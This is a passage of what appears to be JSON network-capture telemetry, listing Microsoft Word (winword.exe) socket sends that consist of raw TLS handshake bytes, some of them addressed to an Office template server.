  407. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xca\\x8a+\\x1f\\x99\\xdaj\\x97v\\x8f~x\\x96\\xc6\\x15\\x15\\xf02\\x95\\xe7\\xc9\\xb6e\\x0b\\xc0=\\x83\\xbb^'anr\\xbassxq\\x1e\\x93\\xec\\x84\\xef\\xdd}\\xcc\\x83\\x15\"\\x8c\\xb8\\xa5\\xbd~y\\x16\\x969\\xd7\\xb4a\\xd2\\\\xa7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k\\xb6z\\xd9\\xdap\\x92\\xf4*j;;\\xcc\\x81^|\\xa2\\x02\\xe63\\x19\\xef.\\xe3\\xc92\\x97b\\x15\\xd6\\xf3\\x1f7\\xe8-\\xc48\\xdc\\xfa\\x05\\xb9\\xec\\xd8{\\x1ez\\xaf="
  408. },
  409. {
  410. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd5\\x9c\\xe5\\x9b\\xd3\\xc8\\xc4\\xc2{na%j\\xab_$|\\xe0\\xdev\\x7fvyi\\xf6%\\xbd\\xb1y\\x13]\\xb0\\x15\\xdd\\xfd\\x10\\x89\\xe2;\\x9a9\\x0c\\x9c\\xfe\\xa0\\xf6\\xcf\\x99\\xe5q\\xb12\\x0em\\x07\\xb6]\\x17\\x903\\x05mp\\xf1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v;\\xec7\\x92\\x1c\\x7fw\\xedgy\\x92qb'\\xcb\\x9a\\x04.y$\\xf3\\xf9\\x8a\\x0b\\xd4w\\x10\\xe4\\xed\\xc31\\xf6pl\\xcb_\\xcf\\xca\\xb0\\xf3\\xf0\\xe9\\x0e\\xae\\x05\\x1f\\xed"
  411. },
  412. {
  413. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc1}d\\xaa\\xcd\\x19\\xba\\xa0s\\x01\\xfc#|\\x99\\x1b\\x1c\\xc0o$\\xbd\\x8c\\x8fl\\xe7im\\xdf*(]\"zk\\x86q\\x12\\xcf\\xf9c \\xd2\\xdb\\xcd\\x11?\\xbb\\x02`\\x0bx\\xfa\\x1fnh\"\\xc4q\\xe0c\\x06\\xc1)\\x8a\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe6\\x18(e\\xf2\\x0b\\x9a@@\\x12\\x9fs\\x13\\xc3@\\x11b\\xd3\\x06\\xe6\\x17/)q\\x0e\\xe5\\x96\\x171\\xc9h\\xf93azk)\\x0f\\xd9\\x89\\xa6\\xa9\\x9fsh\\x8e\\xaf\\xe8"
  414. },
  415. {
  416. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcb\\xb8+\\xd6\\x82r\\xedi\\xfc\\xd9\\x8b\\x91g\\x8fzl\\xe3\\xa3]\\xa5\\x08\\x81\\x96\\x02ykl\\x1er\\xbe\\xc2v\\xf9\t\\xdch\\xcdv=d\\x12\\xfe\\x83\\xb7\\x18\\x9d[w\\x9df\\x98\\xa7u\\x95\\xf9\\x1df\\xcb'e\\xa0\\xd2|8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o\\x87\\xaf\\xc7&\\x89!{\\xb6\\xb7fh8\\xadh\\x1e\\xaa\\xc2\\x9d+w\\xe9\\x84\\xda\\xaf\\xe8\\xfc\\xff\\xfe\\xe3\\xbf<\\x0f\\xd3,\\xcan\\x10\\xb0\\x08\\xd2\\x0f\\x87\\xd3*x\\xf9\\x01"
  417. },
  418. {
  419. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf02f\\xd1\\x94c\\xdcn\\xb6\\xb2\\xe0n/=|\\xcfc\r\\x1e\\xf5\\xaa\\x84\\x8fdc\\x06*p\\x1b\\xd0\\xcd\\xdc\\xf0si4k\\xce\\x90\\xa6\\x95o.\\x86\\xdd\\xcd,u\\\\xb7\\xe2\\xd0\\x86`\\xde\\x12\\xee\\xf6k\\x8bg]\\xa1f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)sr\\xb5\\x0e\\x8d\\x19\\xfb,\\x8d\\xe9k\\xcd\\x8e\\x19\\xec\\xac_b\t\\xa1\\x15hzcdf\\xa1\\xaau\\x87t\\o\\x93\\x7f\\xd7\\xdb$\\xa8\\xf5\\xc8\\x8cy\\x11\\xe0\\xb4b"
  420. },
  421. {
  422. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08 h\\xd7\\x8d\\x06\\xcc\\x03\\xf1\\xf8\\x80\\xba\\xe0t^\\x0e\\x0f&\\x8a]\\x9b\\x82\\x89\\xcf\\x04\\x06\\x82\\xce\\xa7\\x94\\x86g\\xf3}\\xa5\\x13@e\\xc4%ft\\x97/>\\xcb`\\xeagj\\x9a<\\xa3)\\x0e\\xbf^\\x9f\\xfa\\xb3g\\x15\\x0cl\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x953\\xbc\\xce\\xf0x\\xe6\\x96\\x96\\xc9\\xf9\\xccq\\x0bnc\\xfa1\\x9a\\xbb%k]xi\\xee\\xc0\\x0bg\\xde>or!\\xc2\\xaenf\\xf1jxy\\x9a\\xf7\\x8e\\xd0\\xe5!"
  423. },
  424. {
  425. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe0\\xc3\\x18\\x16a\\x9d\\xb6:\\xc2\\x84\\xcfa:i\\x0b7\\x17a\\xe7q\\xa5\\xc8\\x97$<\\xfb\\x95q\\x18\\x0f\\x82\\x07d'\\xe0\\x10\\xc9c6\\xdea\\xda\\xafe\\xe6\\xd4\\x03\\x14\\xdf\\xbbiy\\xb8\\xb8\\xa4\\xd5\\xc8\\xeb\\xfe\\xc0\\xc5\\xf7z\\xe5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xb0\\x11\\xba\\x8d\\xf3\\xa2]gz6b\\xee\\xe9zy\\x97ssg\\x96\\xea\\x17\\xef\\x99\\x13\\x88\\xb1\\xfb\\x82u\\xbbr\\xc8\\xd2\\xcb_\\xe3(\\xa7k\\xef\\xe6\\x9a#\\xce\\xe6\\xfd"
  426. },
  427. {
  428. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04h\\xce[\tiy\\x01\\xd7hry(\\xc0\\x8ax]=\\xc3.ky\\xdc\\xa5\\x81-s\\xd7\\xd2i\\xbe\\xcf\\x0c\\xcb\\xe0w'y\\xae\\xe2\\x1bu)gk\r\\xe2=j\\x9b\\xb5xh\\xb6\\xb6\\x8b\\xd0\\xec\\xb4w\\x9an\\x92+\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x80\\xdc\\xbb\\xf1;!\\xcb\t\\xe0[\n+7]+$ns!\\xcb\\x87\\xf3\\x14\\\\x99pysc( \\xb7\\xdf\\xef\\xd9\\xcc\\xb9\\xa90\\xb2\\x95\\x1e=\\x1ev\\x01v\\x86"
  429. },
  430. {
  431. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1c\\x1e\\x8a5\\\\xe7\\xa7\\xda9\\x85\\xda&\\xee\\x0fh\\x04\\x0f\\x02\\x84\\xd76\\xdf6\\xd9\\xe1\\xeav\\xca8)k$7y\\x1fb1-\\xa6o\\xc9tp\\x84\\xadu8\n\\xf4\\xbcb\\xd5\r\\x1f\\x951\\xb8x\\xf6g\\xe2\\x18\\xce!\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdd\\xab\\xec\\xba\\xed\\xcfm2\\x90]\\xc0\\xbd\\x1a\\xe2-\\xf5\\xec\\xf7\\xce\\x7f\\xc7\\xbb\\xac\\x10}\\x929\\x88-\\xb2xy\\z\\xfa\\xe3\\xf1\\x02\\xdc\\xf4p\\xda\\x0b\\xdf\\x91\\xdb\\xc6\\xea"
  432. },
  433. {
  434. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88\"o\\x8a\\xe7\\x00\\x\\xec\\x9ex!h\\x06qax\\xees\\x06\\xe4\\x97\\xae\\x02\\xac\\xfc\\x8c\\x13\r\\x0f\\xc7\\x1b`r\\xb3u\\x1f t\\xb9\\xc2\\xbf\\x85\\x8c\\x97b\\xe0\\xd2w\\xa8\\x03db\\xdb\\x19\\xa2\\xd9\\xd2^\\x1f\\xe5\\x0b\\xe0\\xc2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s3\\xc0\\xef\\x87v^\\x98\\xf1\\x9d\\x06\\xbc\\x95x\\xc8>\\x9a[\\x91\\x94-{z\\x93a\\xdd%\\xfc\\x86\\x16\\xa3\\x8egb\\x8ex\\x17\\x97\\\\xcb\\x9b`\\xea\\x86\\x9f z\\x94"
  435. },
  436. {
  437. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p\n\\x9f\\xe6s\\x8b\\x9a\r\\xb4g\\xc3\\x97\\x1dhf\\xcbj+]%^\\x83\\xc9\\xf5\\x8f'l\\x7f\\xe63\\xcfs^!\\x8e\\xd3:\\x1e\\xcf\\xa1\\x05\\xaa\\xe3\\x14hm\\x06;\\x93\\xe1e\\x01\\xce8\\xc8\\xfa\\x06\\x18?\\xe5\\x0baga\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xda2mg\\xa3i\\xe9sn\\xb4\\xa9w\\x8cu_ xa\\xd3ee\\xb8i!\\x88\\xce\\xc2\\xee\\x12*y*}bz~\\xfa\\xa5%\\xdc\\xed`\\xb0\\xf7p\\x9c\\xe8p"
  438. },
  439. {
  440. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x92 \\x1d.\\xfc&k[\\xfa*\\xc3\\xef\\xa6\\x87wt\\x88\\x1c\\xb7t\\xf0\\x93we\\x13\\xf7mwl\\xde\\x89c\\xb9\\xe6\\xbfz\\x81f\\xa6\\x9a\\xbb\\xb3o[%\\x1e\\x03\\x87}f\\x02\\x1d8\\xf4\\x8a\\x9a\\x00\\x9c\\xadh\\x814\\x9e\\x97\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8\\xba\\xc0^\\xe6\\x91l\\xf0\\xce\\xe5\\xcb\\xc3\\xf2\\x19\\xb3co\\x88\\xf3c\\xb2e\\xca}\\xe2\\x90\\xccyu\\xb4\\xd7\\x9d_\\x1ab \\x88\\x11\"\\x0e6?>eh\\x02\\x1a\\xeb"
  441. },
  442. {
  443. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdb?\\o\\x193o\\xe9^$\\x87\\xe0\\x84\\xa7\\xc3>s\\xf5\\x1f\\xb7.\\xa0\\xb8?n\\xfa\\x9b/\\x83h\n[c7\\xdd\\x8a\\xfd\\xb6,\\x8c\\x82\\x1c\\xa4\\x8c\\xc9\\x1b\\xa7 \\x04\\x14q\\x83-\\xd1\\xb3\\x89\\x0fm\\x1b\"z\\xe2\\x1a\\xf5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3\\x91\\xa7\\x15\\xfc\\x05*\\x93\\x1a\\x962\\x1d{\\xfa\\x1e\\xa9\\xaa\\xc6\\x9b1\\xae\\x07*\\x16f\\xe9u\\x84\\xc5\\xfb\\x15v\\x16\\x93\\xf5{\\x81\\xae\\xfe\\xe8<j\\x08\\xea%h\\xd8n"
  444. },
  445. {
  446. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\xf9\\x92\\x0f\\xfc\\xdf\\xbd\\x07\\xd46;gx\\xb5\\xd6\\xa1r\\xcb\\xbc\\xe1x\\x0c&\\x83\\xc5p\\x97\\x96\\x0c\\xd1\\xdf\\x15\\xce\\xcd}\\x01d\\xa3\\xa5\\xbe\\xf2\\xca\\x0c\\x82\\xaci\\x84g\\x04\\xc4b,\\xceqx\\x93$e\\xc6\\xbc\\xb5\\xbc\\x99\\x1c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000*z\\xbdg\\xc0@\\xd8m\\xeba\\xf4[.l\\x00\\x1dg[\\xad\\xd5\\xa2\\xf3\\x83\\xe6\\x9ei\\x1a\\x86\\xb2j{k\\xb5v2\\xddk$\\xdfr}\\x0e\\xf5,\\x1f{^\\xa0"
  447. },
  448. {
  449. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x10mlde\\x8a\\xb5\\xd269\\xf1\\x16}\\xf0\\xce\\xe5j\\xb7\\x08ud\\xb6\\xb2av\\xfc(\\x1e^$/\\x0e\\x0f\\xb5hk,\\xf2\\xa1\\xc6a\\xaa)\\xe2m\\xc3}#\\xe0_\\xba\\xaej\\x97(\\x1b\\x81\\xf8i\\x0b\\xb6\\xfc\\x14^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd5qad\\xbd\\xba\\xc1/%\\x107v\\x05\\x98w{\\xba\\x11\\x8f\\x01b@j,1\\xa2j`\\x06rmz_\\xd5\\xee\\xea\\x80\\xd1\\xb2\\x1f\\xf5nw\\xc7fm\\x02\\x96"
  450. },
  451. {
  452. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\r^\\x12\\xfay\\x17\\xe3\\x1e\\x92tu\\x1d\\x167\\x84/\\xf7t\\xcbc@\\xbc\\xf2\\x9b[\\xde\\xfb)j\\xedd\\xbc\\xf4\\x13\\xe5gz\\xbf\\x15$\\x8a\\xe0#\\xd22ot\\xe2gc\\x19\\xf1\\xbb\\xc7\\xe1+?\\x14{\\xdea\\xae\\xd9\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdb\\xe0\\x04\\xd8\\xa5fc\\xdf\\xc7%!\\xb3\\x0f,\\xba\\x1d\\xba8bk\\xb8,\\xde\\xf6\\xda\\xc4a\\xde\t\\x89\\xe2*\\x01\\xc10\\x12\\xdb2?\\xab\\x03e\\x89]\\xb3\\x99\\x97q"
  453. },
  454. {
  455. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88\\x94\\xb9\r\\x1b\\x1b\\xd0\\x9f\\xa1\\xc2w\\x7f\\x9a\t\\xeb\\xdd\\xfd\\xbf}7\\x02\\x96\\xf8du\\x9a\\xfa\\xb2\\xfda0t\\xcc\\xe2:h7f\\xa8\\xea~\\x8d\\x91>\\xd3x\\x8d\\x18\\xe6m2tpu\\xb2!]\\xe8\\xf4\\xd1e\\x99\\xd5\\x82\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfb\\x16\\xec,\\xd7\\xb9\\x1f\\xedqwz\\xef\\x1a\\xfb3\\xbe\\x18\\xcagv\\xcd1\\x964\\x1e\\xa8\\xe6g\\xad\\x03\\x99gv\\xbem\\xa1\\xa1\\x04l\\xe3\\x83\\x95\n/\\xbf\\x005>"
  456. },
  457. {
  458. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x17v\\xd7\\x1e:\\x07\\x1e\\x10\\x1b\\x94\\x97\\xce\\xd9\\x17s-\\xfaq\\x8d|8\\xf7\\x9c\\xbe2r\\xccn\\xe1\\x90\\x1b\\x7f~\\x85\\xbd\\x07\\x82\\xc9.\\xa7\\xcd\\xe8\\xe7p&\\x9fy\\x1e\\xdcw\\xce\\x15\\xa3v\\xc2<`'6\\x84\\xc7\\xc0\\x83+\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000_\\xf3\\x90j\\x80/q\\x87\\x1e\\xdf\\xb7\\xd58xo\\xb9,\\xf3\\xaa\\xa2\\xe54x\\xf7b\\xf7 \\xbc\\xa2\\xacm@\\xe6\\x81\\xe8\"\\xee\\x07\\xa2\\x02'\\xf79h3\\xba7\\x17"
  459. },
  460. {
  461. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x17\\xa0\\x00b\\x9d\\x97@\\x0e;\\xad:y,\\x8c)\\x92\\xc86\\x98\\x07i\\x8e/\\x82:\\xecv\\x02\\xbe\\x11\\xc5\\xee\\xfd[\"\\x0c>\\x96\\xb8\\xd3\\x1b\\xad\\xd90\\xef\\xc6h\\xf0\\x89}\\xb8\\xd2dm\\x16r\\x84\\x1c\\x02\\xf4\\x1f\\x93\\xe7\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a\\\\xa5\"\\xf8\\xbe\\x93\\xcf\\x80\\x7fy\\xf5k\\xda\\x9c\\x89k,-[\\xc2\\xf2mp\\xa3bq\\xa0r{t\\xeae\\xa5y\\xc1\\x99:\\x91e\\x9fy\\x7f\\x7f\\xa8a\\x84 "
  462. },
  463. {
  464. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd0\\xb5\\xe5\\xd8b\\xcbs\\xc5?p\\xc5x*\\x01(m\\xcf}\\x01\\xb0kt\\xab\\xfc\\x19\\xc0m\\xe1o\\x9b\\x95x\\x93r\\xc3\\x83m\\xce\\x16l\n\\xfdw\\xdb=1\\x93\\xe1\\x11\\xa8\\x07\\xaf\\x7f\\\\xf8c~\\xbe\\xcc\\x85qq\\x10\\xce\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfax\\xcd\\xd33qi\\xb1a\\xa8\\xd7\\xba\\xae\\x9b\\x9a\\x17\\xc9\\x194g\\xbe\\xc8\\xc2\\xa3\\xf3;'\\xfa\\xa1\\x0f\\xb3\\xa4\\xa6\\x81z\\xfe9bf\\xbdq\\xff~\\x92\\xc6\\xa4\\x8dw"
  465. },
  466. {
  467. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfd\\x0f\\xd2\\xf8\\xed6i\\xef\\xfe\\x8c\\\\xa6r\\x10\\xa1\\xb8x7h\\xe5@\\x08\\\\xc8\\x17\\xab\\xdbw\\x1e\\x83s*\\xf7hw\\xb2y\\xf53\\x1a\\xbb\\xa15\\xfcm\\xf1ca\\x15k\\xd6\\xf4\\x03pz\\x9by>\\xe8\\xc68\\xcc\\xae\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb5z\\xbf/\\x85-#\\xf7\\xce\\x03\\xdc\\x8a\\xe9\\xb9w\\xf7\\xfe\\x98\\xc1zc\\x91\\xc4i|\\x00\\x15q\\x00\\xcbg\\x0f\\x03\\xace\\x06w\\xfb\\xe4\\xa2\\x04r\\xa1\\xdb_\\xd2\\xe0\\xba"
  468. },
  469. {
  470. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7\\xae\\x05\\x9f=\\x8a\\xc4\\x01\\xae\\x80\\xb3;\\xa3\\x90gt\\xb9\\xb3\\xab\\x87\\x12\\xf6\\xfa\\x12u\\x1b<\\x1f\\xa5\\xd6\\xe8\\x908i6.\\x9e\\xf45\\xc43x\\xa3\\xbfb\\xe9n\\xcb;\\x0e\\x8d\\x04\\xdd\\xb44\\xbf\\x83\\xcd\\x92\\x96w&4:\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbd\\xf5w\\x80\\xb7\\xac\\xa7/\\x84g\\x05x\\xdf}j\\xf1\\x17\\xab\\xd5!\\x0b\\x00\\xf7\\x0e&\\xad\\xee\\xa8\"`z\\x023o\\xdc{0|\\xae\r+l\\xf6\\\\xab%e\\xc8"
  471. },
  472. {
  473. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\x9e\\x1a\\xae\\xcc\\xba\\x85(\\xdc\\y\\xa4>\\xbf\\xf8\\xebn`\\x02\\x19\\x10jz\\xdcg\\x03\\xdbl0\\x91\\x16\\xfc\\xab|,mg\\xf4\\xda\\xed\\xd8d\\\\xce\\xb5\t\\xa8d$2?r\\xea\\x154\\xf2\\xdd\\x0b\\x80\\x9f\t\\xe5\\xe5\\xb4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xbap\\x851\\x82\\xc2\\x89\\xec \\x8b\\x81\\x07-\\xc4f\\xf9\\x91\\x9ftt\\xb2fu\\x97\\xbb\\x15\\xd1.\\xc7?\\xe7\\xdc}\\x81\\x1c\\xc4\\xc5%\\xa2\\x0e\\x05,v\\xe4l4&"
  474. },
  475. {
  476. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd^\\x89\\x9e\\x0f.\\xa6\\xf7\\xaf\\xa5\\x90\\x96\\xe9@\\x99\\x96n\\xafi\\xac\\x1a\\x94?^\\xedb\\xd2<,&\n\\x00 ?\\xf7!\\xb6t\\xf049\\xa7ns~\\xcd3\\x90\\x04\\xdb\\xeb\\xa9oo\\xb5\"b\\xb6\\xf8\\xfe\\x91\\x10cr\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb8\\x94g\\x01\\xaah\\xb9u\\x1ep_]t\\xd7\\xbc\\x02\\xdc\\xdd)~\\xf1a\n\\xfb\\x03\\xbd\\x8c\\xdaq\\x89;r\\xf1\\x85\\x7fm\\x10/\\x84\\xdd\\xc8\\xb5~\\xc7\\x02\\xeb\\x9bj"
  477. },
  478. {
  479. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\\xb8\\x92\\x02\\x9a\\x93\\xd5\\xa2%\\xda\\x0c\\xbd\\xbb\\xff\\xd8?\\xab\\xec32oz\\xfd\\xff\\xd6d\\x94v\\xcb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  480. },
  481. {
  482. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\\xcb\\x96\\x17\\xfc)n\"r\\xedz\\xf0g\\xd9\\xd0kw\\x7fv\\x1c\\xb2\\xa2\\xad'-\\x8f\\x1e\\xbde\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  483. },
  484. {
  485. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bs\\xc2yr\\x91\\xfduf\\xaf\\xa6\\xff\\x0b\\x7f0\\xd2\\x11\\xad>\\x1a\\xbd\\xb9\\xd3\\x81\\x82\\xb7\\x1b\t\\xb4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  486. },
  487. {
  488. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\\x0b\\xc5n\\x87\\xa1\\xb9k\\xa9\\x1c\\xca\\xcc\\xa4$\\x97d\\xf8d\\x02\\xde\\xaa\\x1d\\xa7\\xf3\\xf3\\x11\\xa0\\xc0\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  489. },
  490. {
  491. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6b\t\\xc1]\\x04\\xdf\\xc6fw\\x98\\xc7\\xeb6\\x9cz5\\x18\\xcc@\\x94\\xdee\\xd3&\\xdf\\xc0\\x97\\xb4\\x96\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  492. },
  493. {
  494. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6bu\"\\xc1@\\xcaze\\xe7\\x17&=5\\xe4\\x8b\\xfel\\xdf\\x1a\\xe7\\xe7q\\x9c\\x9am\\xc6^h\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  495. },
  496. {
  497. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8c\\xea\\xd9^\\xa0\\xf3\\xa7\\x9f\\xa7'\\xa4\\xa9\\xcb\\xf7m\\x93\\xe1\\xbf\\xcd9p\\xc7?\\x10\\xbb\\xe0\"\\x06\\x1df\\x86q\\x9d\\x81\\xe7\\x15\\xe6\\xb6\\xe5(\\x1c\\x9a\\x93\\xb6\\xe1\\x0bu\\xb7\\xde\\x8f.\\xe9\\x8a-(\\xcd\\x04\\xfd>\\x97\\xba\\xff\\xdd\\xdf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000nx\\x88\\x82\\xb1\\x81\\xe9\\x8c\\xc7\\xf6\\xe1\\x19=\\x88\\xb4\\x8f\\x1d\r6\\x93g\\x16v\\x98\\x10\\xf2$r\\xe5[\\x87\\xde\\xbc\\xb0d\\xa2\\x96x\\xa7\\xed\\xb6g\\xaf\\xa6\\xac\"n\\xba"
  498. },
  499. {
  500. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04&(i|epca\\xfcfze\\x97\\x83\\xd8\t\\xafr\\x8e\\x7f\\xea\\xf5\\x1e\\xce\\x05\\xc8\\xc5>v\\xab\\xa4\\xf2xgw\\x95\\xe8\\x83\\xec[\\x98\\x05\\xe8(\\x91\\x1f\\x14\\xaas\\x81i%\\xbfu\\x17\\x0c_\\xbf;\\xbc\\xe4\\xf4\\x9a^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000(\\xe3\\x03\\xda\"o\n{h\\xc0\\xab\\x9fl,l|\\x04\\xa6 \\xa4\"@\\x99agd\\xec\\x12\\x13\";2j\\x9az\\xaf\\xc4/y\\x18\\x0cu\\xc6\\xfa\\xd8v\\x9bj"
  501. },
  502. {
